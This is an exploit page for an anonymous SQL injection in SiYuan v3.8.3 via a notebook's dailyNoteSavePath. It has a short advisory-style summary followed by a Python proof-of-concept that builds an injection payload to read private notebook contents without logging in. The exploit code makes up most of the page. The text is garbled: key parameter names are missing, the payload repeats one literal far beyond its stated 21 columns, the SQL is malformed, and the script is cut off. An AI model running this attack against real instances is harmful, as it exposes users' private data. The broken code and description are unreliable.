SiYuan v3.8.3 Anonymous SQL Injection via dailyNoteSavePath with POC

SQL Injection Vulnerability Summary Vulnerability Overview Vulnerability Type: SQL Injection (SQLi) Vulnerability Location: The parameter is not sanitized and is directly concatenated into SQL strings. Vulnerability Description: SiYuan's graph endpoint directly concatenates the stored in the notebook into an SQL string literal without escaping. Attackers can leverage the or interfaces to return arbitrary rows from the workspace database across multiple notebooks using . Severity: High (7.5/10) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Scope of Impact Affected Versions: v3.8.3 and below Fixed Version: v3.8.4 Impact: Unauthenticated attackers can read any notebook content from the workspace database, including data from private notebooks. Remediation Upgrade to version v3.8.4 or higher. Apply appropriate SQL escaping to the parameter or use parameterized queries. POC Code ```python #!/usr/bin/env python3 """SiYuan v3.8.3.8 - anonymous SQL injection via a notebook's dailyNoteSavePath. pip install requests python siyuan-sqli.py http://127.0.0.1:6886 http://127.0.0.1:6886 """ import sys, time, requests KERNEL, PUBLIC, DOC = sys.argv[1], sys.argv[2], sys.argv[3] admin = requests.Session() admin cookie after loginAuth anon = requests.Session() never authenticates: no cookie, no Authorization --- setup: one published notebook, one private notebook holding a secret --- admin.post(f"{KERNEL}/api/system/loginAuth", json={"notebook": "0000"}) pub = admin.post(f"{KERNEL}/api/notebook/createNotebook", json={"name": "Public", "icon": "data:image/svg+xml;utf8"} ).json()["data"]["notebook"]["id"] priv = admin.post(f"{KERNEL}/api/notebook/createNotebook", json={"name": "Private", "icon": "data:image/svg+xml;utf8"} ).json()["data"]["notebook"]["id"] doc = admin.post(f"{KERNEL}/api/filetree/createDocOrLink", json={"notebook": pub, "path": "Public Doc.md", "markdown": "Public Doc"} ).json()["data"] admin.post(f"{KERNEL}/api/filetree/createDocOrLink", json={"notebook": priv, "path": "Secret Doc.md", "markdown": "Secret Doc"} ).json()["data"] admin.post(f"{KERNEL}/api/settings/setPublishInfo", json={"enable": True, "port": 6886, "auth": {"enable": False, "accounts": []}}) TOPSECRET = "BAMBIN-99117" --- the payload: 21 columns, matching the blocks schema. Constraints all worked around: no "": SqlitePath("...") would truncate it, so top-level comes from subqueries no newline: the caller receives it as \r\n content, so no lock: workaround col 8 = 8: returned uninterpreted, unicode literal (capped at 48 runes) lock = f"SELECT group_concat(markdown, ' ') FROM blocks " \ f"WHERE box = '{pub}' AND markdown ''" payload = f"(SELECT FROM blocks WHERE id = '{doc}'), " \ f"(SELECT path FROM blocks WHERE id = '{doc}'), " \ f"('{lock}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), " \ f"('{TOPSECRET}'), "

Goal Reached Thanks to every supporter — we hit 100%!

SiYuan v3.8.3 Anonymous SQL Injection via dailyNoteSavePath with POC

More from this source